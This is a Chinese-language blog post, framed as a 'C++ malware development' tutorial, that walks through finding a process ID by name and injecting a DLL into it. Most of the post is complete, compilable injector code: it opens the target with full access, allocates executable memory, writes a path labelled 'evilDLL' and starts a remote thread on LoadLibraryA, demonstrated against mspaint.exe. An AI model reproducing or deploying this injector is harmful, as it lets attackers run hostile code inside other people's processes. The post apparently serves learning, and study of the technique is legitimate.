C++恶意软件开发(四)通过查找进程名进行DLL注入

发布时间 2023-04-19 10:11:37作者: 顾北清

通过进程名查找PID

当我们编写注入器的时候,肯定是希望直接通过进程名进行注入,而不是像上一篇笔记一样通过手动输入PID进行查找。
通过进程名查找PID的步骤如下:

  • (1)创建系统中所有进程的快照
  • (2)保存系统快照中遇到的第一个进程的信息
  • (3)循环检索系统中进程的信息是否匹配需要查找的进程名

这里涉及到的函数有:
(1)CreateToolhelp32Snapshot:用于创建一个进程或者模块的快照.

HANDLE CreateToolhelp32Snapshot(
  DWORD dwFlags,  // 快照类型
  DWORD th32ProcessID  // 进程 ID,用于指定要创建快照的进程。如果为 0,则表示创建系统级别的快照。

);

(2)Process32First:用于获取进程快照中的第一个进程信息。

BOOL Process32First(
  HANDLE hSnapshot,  // 要遍历的进程快照的句柄
  LPPROCESSENTRY32 lppe  // 函数用于遍历进程快照,获取第一个进程的信息
);

(3)Process32Next:用于获取进程快照中的下一个进程信息。

BOOL Process32Next(
  HANDLE hSnapshot,
  LPPROCESSENTRY32 lppe
);

实现这个功能的函数完整代码如下:

int findProc(const char *procname) {
	HANDLE hSnapshot;
	PROCESSENTRY32 pe;  // PROCESSENTRY32结构是描述创建快照时驻留在系统地址空间中的进程的列表中的条目
	int pid = 0;
	BOOL hResult;
	
	// 创建系统中所有进程的快照
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hSnapshot){  // INVALID_HANDLE_VALUE类似指针中的NULL
		return 0;
	}
	
	// 初始化Process32First需要使用的内存空间
	pe.dwSize = sizeof(PROCESSENTRY32);
	
	// 系统快照中遇到的第一个进程的信息
	hResult = Process32First(hSnapshot, &pe);
	
	// 检索有关进程的信息
	while (hResult) {
		// 如果找到进程就退出
		if (strcmp(procname, pe.szExeFile) == 0) {
			pid = pe.th32ProcessID;
			break;
		}
		hResult = Process32Next(hSnapshot, &pe);
	} 
	// 关闭快照句柄,避免资源泄漏
	CloseHandle(hSnapshot);
	return pid;
} 

修改注入器

剩下的代码和上一篇中的一样,这里只是在上一篇笔记的基础上,将手动输入PID替换为通过进程名查找PID。
修改之后的注入文件完整代码如下,dll文件的生成参照上一篇笔记

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>

int findProc(const char *procname) {
	HANDLE hSnapshot;
	PROCESSENTRY32 pe;
	int pid = 0;
	BOOL hResult;
	
	// 查找系统中所有进程的快照
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hSnapshot){
		return 0;
	}
	
	// 初始化Process32First需要使用的内存空间
	pe.dwSize = sizeof(PROCESSENTRY32);
	
	// 系统快照中遇到的第一个进程的信息
	hResult = Process32First(hSnapshot, &pe);
	
	// 检索有关进程的信息
	while (hResult) {
		// 如果找到进程就退出
		if (strcmp(procname, pe.szExeFile) == 0) {
			pid = pe.th32ProcessID;
			break;
		}
		hResult = Process32Next(hSnapshot, &pe);
	} 
	// 关闭CreateToolhelp32Snapshot
	CloseHandle(hSnapshot);
	return pid;
} 

char evilDLL[] = "C:\\Users\\16537\\Desktop\\test.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;

int main(int argc, char* argv[]) {
	int pid = 0;	// 进程id 
	HANDLE ph; // 进程句柄 
	HANDLE rt; // 远程线程 
	LPVOID rb; // 远程内存 

	// 获取LoadLibraryA函数的地址
	HMODULE hKernel32 = GetModuleHandle("Kernel32");
	VOID *lb = (VOID *)GetProcAddress(hKernel32, "LoadLibraryA");

	// 通过进程名称查找进程id
	pid = findProc(argv[1]);
	if (pid == 0) {
		printf("PID not Found!\n");
		return -1;
	}  else {
		printf("PID = %d\n", pid);
	}
	
	
	// 打开目标进程
	ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));

	// 分配远程进程的内存 
	rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

	// 在进程间复制dll 
	WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

	// 在目标进程中创建新的线程
	rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
  
	// 等待远程线程执行结束
    WaitForSingleObject(rt, INFINITE);

    // 清理内存空间
    VirtualFreeEx(ph, rb, 0, evilLen);
  
	CloseHandle(ph);
	CloseHandle(rt);
	
  	return 0;
}

接着,将dll注入到mapaint.exe中:

并且在mapaint.exe的内存中可以看到我们注入的内容。